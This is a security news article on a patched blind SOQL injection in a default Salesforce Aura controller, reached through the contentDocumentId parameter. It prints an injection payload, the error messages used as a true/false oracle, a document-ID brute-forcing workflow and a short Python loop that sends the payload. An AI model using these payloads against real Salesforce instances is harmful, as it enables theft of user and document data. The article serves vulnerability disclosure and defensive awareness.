Salesforce Exposed to 0-Day SOQL Injection Vulnerability Affecting Global Installations

A critical security flaw has recently been uncovered in Salesforce’s widely deployed platform exposing thousands of organizations to potential data breaches through a 0-day SOQL Injection vulnerability embedded within a default controller.

The discovery, highlighted by a private cybersecurity researcher, demonstrates how even core components of enterprise software can be susceptible to injection attacks, with real-world implications for user privacy and corporate security.

Technical Analysis: Breaching Through SOQL Injection

The Salesforce Aura framework a client-server model for web application development uses controllers to define and expose various endpoints. One such controller, aura://CsvDataImportResourceFamilyController/ACTION$getCsvAutoMap, was found to be present and vulnerable in every Salesforce installation.

The vulnerability emerged because user-supplied input—specifically, the contentDocumentId parameter—was directly embedded into SOQL (Salesforce Object Query Language) queries without proper sanitization.

What is SOQL Injection?
SOQL Injection is analogous to SQL Injection but specific to Salesforce’s proprietary query language. Attackers can manipulate the input to craft malicious queries, potentially bypassing security checks and exfiltrating sensitive data.

The unique nature of SOQL, with its own set of limitations and syntax rules, makes exploitation more difficult compared to standard SQL Injection, but not impossible.

Exploit Walkthrough

During fuzzing, the researcher discovered that supplying a malformed contentDocumentId generated an error revealing an underlying SOQL query:

json{
    "exceptionEvent": true,
    "useDefault": false,
    "event": {
        "descriptor": "markup://aura:serverActionError",
        "attributes": {
            "values": {
                "error": {
                    "message": "industries.impl.dataUtils.IndustriesDirectSoapUtil$DirectSoapException: MALFORMED_QUERY: \nContentVersion WHERE ContentDocumentId = '''\n                                          ^\nERROR at Row:1:Column:239\nunexpected token: '''",
                    "stackTrace": "",
                    "data": {
                        "message": "industries.impl.dataUtils.IndustriesDirectSoapUtil$DirectSoapException: MALFORMED_QUERY: \nContentVersion WHERE ContentDocumentId = '''\n                                          ^\nERROR at Row:1:Column:239\nunexpected token: '''",
                        "statusCode": 400,
                        "errorCode": "INTERNAL_ERROR"
                    },
                    "id": "-380442143"
                }
            }
        }
    }
}

This error demonstrated that user input was directly embedded in a dynamic SOQL query, making the endpoint vulnerable to injection.

Bypassing SOQL Restrictions and Exploiting the Vulnerability

Understanding the constraints of SOQL is crucial for crafting a successful attack. SOQL:

• Does not allow classic UNION queries.
• Limits joins to entity identifiers.
• Restricts data fetching to the scope expected by the controller.
• Permits only one subquery and does not support multiple queries in a single call.

Despite these protections, the researcher identified a discrepancy in server responses:

• If an existing document ID was supplied:
  • "message": "Cannot invoke \"common.udd.EntityInfo.getEntityId()\" because \"ei\" is null"
• If no document was found:
  • "message": "Error in retrieving content document"

This difference allowed for blind SOQL injection an attacker could infer data based on the server’s response. For example, by supplying a contentDocumentId crafted as:

text069TP00000HbJbNYAV' AND OwnerId IN (SELECT Id FROM User WHERE Email LIKE 'a%25') AND ContentDocumentId != '

The server’s response would confirm the existence of users with emails starting with 'a' when the first message appears, or indicate failure with the second. This technique enabled the researcher to infer the contents of the database, essentially leveraging an error-based blind SOQL injection.

Brute-forcing Document IDs and Attacker Automation

The researcher went further by using a script to generate valid Salesforce document IDs (which are somewhat predictable due to their structure). The script, available on GitHub here, was incorporated into the attack process. The workflow was as follows:

1. Generate potential ContentDocument IDs:
   • Using the generator script, create a range of IDs around a known valid one.
2. Validate IDs:
   • For each generated ID, send a request to the vulnerable endpoint.
   • Note whether the server response indicates a valid or invalid document.
3. Exploit valid IDs:
   • Use the SOQL injection to extract document metadata and user information (names, emails, etc.).
   • Recycle the process to dump all accessible document and user data.

This automated approach made it possible to scan and extract data from non-public documents vastly increasing the exploit’s impact.

Sample Exploit Code

A snippet from the researcher’s script (soql-brute.py ) demonstrates how an attacker could iterate over generated IDs and inject SOQL conditions:

python# Example: iterating through generated ContentDocumentId values
for candidate_id in generate_content_document_ids(base_id):
    payload = f"{candidate_id}' AND OwnerId IN (SELECT Id FROM User WHERE Name LIKE 'A%') AND ContentDocumentId != '"
    response = session.post(target_url, data={'contentDocumentId': payload})
    if "ei is null" in response.text:
        print(f"Hit! User data associated with {candidate_id}")

Impact and Response

The vulnerability’s reach is global, affecting all Salesforce installations using the default controller.

Sensitive user and document data could be exfiltrated by any attacker with network access to the Salesforce instance, potentially affecting millions of users and thousands of organizations worldwide.

Disclosure and Patch

The researcher reported the vulnerability to the application vendor, who initially denied responsibility, only to later confirm it was a Salesforce platform defect.

Salesforce addressed the issue quietly, patching the vulnerability without public disclosure, a CVE, or inclusion in official release notes—leaving users unaware of the threat or the fix.

Key Takeaways and Recommendations

• Fuzzing and automation play a crucial role in discovering complex vulnerabilities, even in highly scrutinized platforms.
• SOQL injection remains a viable attack vector despite platform-specific protections.
• Response discrepancy exploitation is a powerful technique for blind information disclosure.
• Salesforce and similar platforms must ensure rigorous input validation for all user-supplied parameters in both custom and standard controllers.
• Security researchers are encouraged to continue reporting vulnerabilities, even when initial responses are discouraging.

This incident serves as a critical reminder that no platform is immune to injection attacks underscoring the need for continuous security research, transparent disclosure, and proactive patch management in enterprise software ecosystems.

Organizations relying on Salesforce are advised to confirm they are running the latest version and to review their logs for indicators of attempted or successful exploitation.